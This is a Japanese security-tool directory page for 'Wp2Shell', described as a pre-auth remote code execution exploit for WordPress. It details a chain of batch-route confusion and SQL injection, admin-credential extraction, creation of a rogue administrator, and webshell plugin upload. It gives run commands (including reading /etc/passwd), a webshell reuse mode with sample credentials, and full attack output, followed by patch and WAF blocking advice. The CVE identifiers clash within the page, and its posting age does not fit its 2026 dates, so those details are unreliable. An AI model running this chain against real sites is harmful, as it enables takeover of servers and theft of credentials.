Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Wp2Shell — Wp2Shell用エクスプロイトPOC、CVE-2026-63030 + CVE-2026-63137 | Kitploit
ツール/GitHubGitHub/c0gnit00/wp2shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育リモートアクセスツールペイロード開発
GitHubc0gnit00/wp2shell

Wp2Shell

Wp2Shell用エクスプロイトPOC、CVE-2026-63030 + CVE-2026-63137

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

wp2shell

WordPress Core における事前認証リモートコード実行。

CVE-2026-60137(WP_Query の SQL インジェクション)と CVE-2026-63030(REST API バッチルート混乱)を連鎖させます。

教育および許可されたセキュリティ研究のみを目的としています。


影響を受けるバージョン

WordPress 6.9.0 から 6.9.4、および 7.0.0 から 7.0.1 が影響を受けます。 修正版は 6.9.5 と 7.0.2 です。


仕組み

このエクスプロイトは 2 つの脆弱性を連鎖させます。

CVE-2026-63030 — バッチルート混乱。 /wp-json/batch/v1(または /?rest_route=/batch/v1)の REST API バッチエンドポイントは、サブリクエストを 2 段階で処理します。まず各パスをハンドラにマッチさせ、その後、マッチした各リクエストをそのハンドラへディスパッチします。故意に不正な形式のパス(///)が最初のサブリクエストとして挿入されると、WordPress はマッチ済みルート配列のインデックス 0 に WP_Error を格納します。これにより、以降のすべてのハンドラ割り当てが 1 つずつずれます。ディスパッチループは各リクエストを誤ったハンドラとペアリングするため、スキーマ A で検証されたリクエストがハンドラ B によって実行され、スキーマ A が強制していたパラメータのサニタイズが回避されます。

CVE-2026-60137 — WP_Query の SQL インジェクション。 投稿コレクションエンドポイントは author_exclude パラメータを受け入れ、そのスキーマは整数型の配列値を強制し、WP_Query に到達する前に各要素を absint() でサニタイズします。バッチのデシンクにより、このパラメータはスキーマ検証を完全にバイパスし、生の文字列として WP_Query の author__not_in ロジックに到達します。absint() は is_array() ブランチ内でのみ適用されるため、生の文字列が直接 SQL の WHERE 句に補間され、UNION SELECT インジェクションが可能になります。

完全なチェーンは次の 4 つのステップで進行します。

  1. バッチエンドポイントに到達可能であり、デシンクが機能していることを確認する。
  2. REST JSON レスポンスに反映される UNION SELECT 行を介して、データベースバージョン、ユーザー、テーブルプレフィックス、管理者資格情報を抽出する。
  3. 偽の wp_posts 行を注入して oEmbed キャッシュを汚染し、WP_Customize_Manager の変更セット公開フックをトリガーして、role=administrator で wp_insert_user() を呼び出させることで、新しい管理者アカウントを作成する。
  4. 新しいアカウントで認証し、標準のプラグインアップロードインターフェースを通じて単一ファイルの PHP プラグインを zip アーカイブとしてアップロードし、有効化して、シェルを介して OS コマンドを実行する。

要件

  • Python 3.8 以降
  • サードパーティ依存関係なし(標準ライブラリのみ)
  • 対象の WordPress インスタンスへのネットワークアクセス

インストール

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

pip install は不要です。


使用方法

完全エクスプロイトチェーン

4 つのステップすべてを実行します: デシンク確認、SQL 偵察、管理者作成、ウェブシェル展開。実行のたびに新しい管理者アカウントとプラグインが作成されます。

root@kitploit:~
python3 exploit.py --url http://TARGET --command "id"
root@kitploit:~
python3 exploit.py --url http://TARGET --command "uname -a"
root@kitploit:~
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

自己署名証明書を持つ HTTPS ターゲットの場合:

root@kitploit:~
python3 exploit.py --url https://TARGET --command "id" --insecure

既存ウェブシェルの再利用

完全チェーンの実行が完了すると、スクリプトは展開済みの資格情報とシェルパスを事前に入力した、すぐに使える再利用コマンドを出力します。以降の実行では、これら 3 つのフラグを渡すことで、SQL および管理者作成フェーズを完全にスキップできます:

root@kitploit:~
python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

コマンドラインリファレンス

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]

--admin-* 系 3 つのフラグと --prev-webshell-plugin は、すべてまとめて指定するか、すべて省略するかのどちらかにする必要があります。


出力例

完全チェーン

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

緩和策

直ちに修正版へ更新してください。

  • WordPress 7.0.x: 7.0.2 以降に更新 — wp core update
  • WordPress 6.9.x: 6.9.5 以降に更新 — wp core update --version=6.9.5
  • WordPress 6.8.x: 6.8.6 以降に更新 — wp core update --version=6.8.6

直ちにパッチを適用できない場合は、Web サーバーまたは WAF 層でバッチエンドポイントの両方の URL 形式をブロックしてください。両方のルートをブロックする必要があります。プリティパーマリンク形式のみをカバーするルールでは、クエリ文字列形式が開放されたままになります:

root@kitploit:~
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
root@kitploit:~
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]

または、必須プラグインを使用して WordPress 内部からエンドポイントを無効化します:

root@kitploit:~
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );

パッチ適用前のすべての対策は一時的な橋渡しに過ぎないものとして扱ってください。できるだけ早くパッチを適用し、その後、インターネットに公開されているすべてのインスタンスでインストール済みバージョンを確認してください。


参考情報

  • Searchlight Cyber のアドバイザリ: https://www.assetnote.io/resources/research/wp2shell
  • WordPress 7.0.2 リリースノート: https://wordpress.org/news/2026/07/wordpress-7-0-2
  • WordPress 6.9.5 リリースノート: https://wordpress.org/news/2026/07/wordpress-6-9-5
  • Wordfence のアドバイザリ: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wp2shell
  • Rapid7 の分析: https://www.rapid7.com/blog/post/2026/07/wp2shell

免責事項

このツールは教育目的および許可された侵入テストのみのために提供されています。システム所有者からの明示的な事前の書面による許可なしに、いかなるシステムに対してもこれを実行することは違法です。著者は、いかなる不正使用に対しても責任を負いません。

ツールをダウンロード
FlagShortDescription
--url-u対象WordPressのベースURL。デフォルト: http://localhost:8080
--command-c実行するOSコマンド。デフォルト: id
--insecure-k自己署名証明書に対するTLS証明書の検証を無効化
--admin-user再利用モード: 以前に作成された管理者ユーザー名
--admin-password再利用モード: 以前に作成された管理者パスワード
--prev-webshell-plugin再利用モード: すでに展開済みのウェブシェルプラグインへのWebパス